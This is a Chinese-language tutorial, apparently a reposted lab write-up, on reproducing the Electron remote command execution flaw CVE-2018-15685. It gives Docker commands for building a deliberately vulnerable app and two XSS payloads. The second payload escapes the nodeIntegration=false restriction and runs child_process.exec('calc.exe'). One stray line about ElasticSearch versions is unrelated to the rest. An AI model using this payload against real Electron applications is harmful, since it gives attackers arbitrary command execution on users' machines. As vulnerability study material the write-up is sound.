您好,登錄后才能下訂單哦!
這篇文章給大家介紹怎樣解析Electron WebPreferences 遠程命令執行漏洞CVE-2018-15685,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
1.漏洞編號:CVE-2018-15685
2.影響版本:
3.漏洞產生原因:
Electron是由Github開發,用HTML,CSS和JavaScript來構建跨平臺桌面應用程序的一個開源庫。 Electron通過將Chromium和Node.js合并到同一個運行時環境中,并將其打包為Mac,Windows和Linux系統下的應用來實現這一目的。
Electron在設置了`nodeIntegration=false`的情況下(默認),頁面中的JavaScript無法訪問node.js的內置庫。CVE-2018-15685繞過了該限制,導致在用戶可執行JavaScript的情況下(如訪問第三方頁面或APP存在XSS漏洞時),能夠執行任意命令。
啟動環境:docker-compose up -d
vulnIP:192.168.1.232
環境啟動后,訪問`http://your-ip:8080`即可看到Electron默認首頁。
執行如下命令編譯一個包含漏洞的應用:
``` docker-compose run -e PLATFORM=win64 --rm electron ```
其中PLATFORM的值是運行該應用的操作系統,可選項有:`win64`、`win32`、`mac`、`linux`。
編譯完成后,再執行如下命令,啟動web服務:
``` docker-compose run --rm -p 8080:80 web ```
此時,訪問`http://your-ip:8080/cve-2018-15685.tar.gz`即可下載編譯好的應用。
關注ElasticSearch的版本
在本地打開應用:
點擊提交,輸入框中的內容將會顯示在應用中,顯然這里存在一處XSS漏洞。
我們提交`<img src=1 onerror="require('child_process').exec('calc.exe')">`,發現沒有任何反饋,原因就是`nodeIntegration=false`。
此時,提交POC(Windows):
``` <img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');"> ```
可見,calc.exe已成功彈出:
關于怎樣解析Electron WebPreferences 遠程命令執行漏洞CVE-2018-15685就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。